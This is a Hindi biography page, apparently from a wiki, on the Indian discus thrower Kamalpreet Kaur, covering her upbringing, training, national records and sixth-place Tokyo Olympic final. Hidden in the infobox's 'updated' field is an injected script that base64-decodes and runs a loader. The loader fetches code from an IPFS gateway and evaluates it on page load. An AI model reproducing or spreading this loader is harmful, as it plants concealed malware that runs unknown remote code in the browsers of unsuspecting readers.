कमलप्रीत कौर  

कमलप्रीत कौर
पूरा नाम कमलप्रीत कौर
जन्म 4 मार्च, 1996
जन्म भूमि गांव बादल, श्री मुक्तसर साहिब जिला, पंजाब
नागरिकता भारतीय
प्रसिद्धि डिस्कस थ्रोअर महिला खिलाड़ी
विद्यालय दशमेश गर्ल्स सीनियर सेकेंडरी स्कूल, पंजाब यूनिवर्सिटी, पटियाला
क़द 6 फीट 1 इंच
कोच बलजीत सिंह
अन्य जानकारी साल 2021 में कमलप्रीत कौर ने इंडियन ग्रां प्री IV, पटियाला में अपना रिकॉर्ड तोड़ा। उसी वर्ष उन्होने 64 मीटर के निशान के साथ डिस्कस थ्रो के लिए 2020 टोक्यो ओलंपिक फाइनल के लिए क्वालीफाई किया।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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परिचय

कमलप्रीत कौर का जन्म 4 मार्च 1996 में पंजाब के मुक्तसर साहिब जिला के एक छोटे से गांव बादल में हुआ था। पढ़ाई में ज्यादा अच्छी ना होने के कारण कमलप्रीत को अपनी पढ़ाई के जरिये लगने वाली नौकरी पर ज्यादा भरोसा नहीं था, क्योंकि जब वे आठवीं कक्षा में थीं तब उनके मुश्किल से पास होने लायक अंक आ पाए थे और वही हालत उनके दसवीं और बारहवीं की पढ़ाई में भी रहे। कमलप्रीत का कद अच्छा होने के कारण उन्होंने पहली बार खेल प्रतियोगिता में भाग लिया जहां पर उन्होंने काफी बढ़िया प्रदर्शन किया। तब उनके खेल प्रदर्शन को देखते हुए लोगों ने उन्हें खेलों में अपनी किस्मत आजमाने के लिए कहा।[१]

कमलप्रीत कौर गांव की निवासी हैं और इनके पिता एक किसान हैं। इनके मुताबिक अगर ये पढ़ाई में ज्यादा कुछ नहीं कर पातीं तो इनकी कम उम्र में शादी कर दी जाती, जो ये नहीं चाहती थीं। एक वजह इनकी यह भी थी जिस कारण इन्होंने खेलों का रुख किया। कमलप्रीत शुरुआत से एक डिस्कस थ्रोअर खिलाडी नहीं थीं। वह अपने गांव बादल में स्थित भारतीय खेल प्राधिकरण केंद्र में शामिल हो गयीं। वहाँ पर ये कोच प्रीथपाल मारू से मिलीं जो की खुद डिस्कस थ्रोअर खिलाडी थीं और यहीं से इनको एक डिस्कस थ्रोअर खिलाडी बनने का जूनून पैदा हुआ।

कॅरियर

साल 2013 में बैंगलोर में जूनियर नेशनल प्रतियोगिता में भाग लेने के बाद कमलप्रीत का डिस्कस थ्रोअर का जीवन बिलकुल बदल गया, क्योंकि इन्होंने बैंगलोर में आयोजित जूनियर नेशनल प्रतियोगिता में एक डिस्कस थ्रोअर खिलाडी के रूप में हिस्सा लिया था और अपने बेहतरीन प्रदर्शन के दम पर कांस्य पदक जीता। किस्मत से उन्हें साई हॉस्टल में जगह मिल गयी, जहां पर खिलाड़ियों की खुराक का विशेष ध्यान रखा जाता था। साई हॉस्टल में इन्हें प्रोटीनयुक्त खाना मिलने लगा। इन्होंने रांची में हुयी अंडर -20 की प्रतियोगिता में नया रिकॉर्ड बनाया। साल 2017 में अखिल भारतीय अंतर-विश्वविद्यालय की प्रतियोगिता में पुराने सारे रिकार्ड्स को तोड़कर नए रिकॉर्ड स्थापित किये।

कमलप्रीत कौर के राष्ट्रीय स्तर पर कांस्य पदक जीतने के बाद पंजाब सरकार ने कमलप्रीत को 10000 रुपये और साल 2017 में रेलवे में क्लर्क की नौकरी प्रदान की। साल 2019 में गोस्पोर्ट्स फाउंडेशन ने इनका सहयोग करना शुरू किया और इनके खाने पीने से लेकर इनकी ट्रेनिंग का ध्यान रखा। इसके बाद इन्हें ताइपे में आयोजित अंतरराष्ट्रीय प्रतियोगिता में भाग लेने का मौका मिला। 2019 फेडरेशन कप सीनियर एथलेटिक्स चैम्पियनशिप में भाग लिया और 60.25 मीटर के थ्रो के साथ इन्होंने स्वर्ण पदक जीता। इसके अलावा कमलप्रीत कौर ने 24वें फेडरेशन कप सीनियर एथलेटिक्स चैंपियनशिप में हिस्सा लिया और 65 मीटर का लम्बा थ्रो के साथ एक राष्ट्रीय रिकॉर्ड बनाया और 65 मीटर का लम्बा थ्रो फेकने वाली ये पहली भारतीय खिलाडी बनीं।[१]

डिस्कस थ्रोअर खिलाड़ी कमलप्रीत कौर ने टोक्यो ओलिंपिक 2020 में भाग लिया और अपने बेहतरीन प्रदर्शन के दम पर महिला डिस्कस थ्रो फाइनल में 63.5 मीटर के थ्रो के साथ अपनी जगह पक्की की। इसके साथ ही इन्होंने भारत के लिए पदक जीतने की उम्मीद को कायम रखा था। -- टोक्यो ओलिंपिक के 11वें दिन डिस्कस थ्रो में भारत की कमलप्रीत कौर मेडल नहीं जीत सकीं। फाइनल में 6 राउंड के बाद उनका बेस्ट स्कोर 63.70 का रहा और वे छठे स्थान पर रहीं। कमलप्रीत ने 5 में से 2 राउंड में फाउल थ्रो किए। पहले राउंड में उन्होंने 61.62 मीटर और तीसरे राउंड में 63.70 मीटर दूर चक्का फेंका। वे क्वालिफाइंग राउंड के अपने प्रदर्शन को नहीं दोहरा सकीं। क्वालिफाइंग में उन्होंने 64 मीटर की दूरी तक चक्का फेंका था। पांचवें राउंड में कमलप्रीत ने 61.37 मीटर दूर चक्का फेंका। इधर महिला हॉकी में भारतीय टीम ने शानदार प्रदर्शन किया और क्वार्टर फाइनल में ऑस्ट्रेलिया को 1-0 से हराया। टीम ने पहली बार ओलिंपिक के सेमीफाइनल में जगह बनाई है।[१]


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टीका टिप्पणी और संदर्भ

  1. १.० १.१ १.२ कमलप्रीत कौर का जीवन परिचय (हिंदी) shubhamsirohi.com। अभिगमन तिथि: 01 अगस्त, 2021। सन्दर्भ त्रुटि: <ref> अमान्य टैग है; "pp" नाम कई बार विभिन्न सामग्रियों में परिभाषित हो चुका है

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